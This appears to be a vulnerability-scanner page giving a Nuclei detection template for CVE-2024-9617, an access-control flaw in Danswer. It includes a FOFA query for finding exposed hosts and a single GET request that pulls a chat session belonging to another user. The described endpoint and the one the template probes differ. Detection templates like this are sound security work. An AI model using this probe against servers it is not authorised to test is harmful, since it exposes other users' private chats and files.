Danswer - Insecure Direct Object Reference

ID: CVE-2024-9617

Severity: medium

Author: s4e-io

Tags: cve,cve2024,danswer,idor

Description

The application does not verify whether the attacker is the creator of the file, allowing the attacker to directly call the GET /api/chat/file/{file_id} interface to view any user’s file.

YAML Source

id: CVE-2024-9617

info:
  name: Danswer - Insecure Direct Object Reference
  author: s4e-io
  severity: medium
  description: |
    The application does not verify whether the attacker is the creator of the file, allowing the attacker to directly call the GET /api/chat/file/{file_id} interface to view any user's file.
  reference:
    - https://huntr.com/bounties/8f683ff6-3a99-41c6-b763-a8f7b73bd146
    - https://github.com/danswer-ai/danswer
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-9617
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    vendor: danswer-ai
    product: danswer
    fofa-query: icon_hash="484766002"
  tags: cve,cve2024,danswer,idor

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/chat/get-chat-session/1?is_shared=True"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "chat_session_id", "description", "persona_id")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022010b01b7591a6d99b56b7c68a8914a367b4db5bd0b81493e8416c25e83ab3cf10022007fd3823f1317e532e9d15a4efc6b1df7b740962f4a50639d3d73d3ac2237369:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-9617.yaml"

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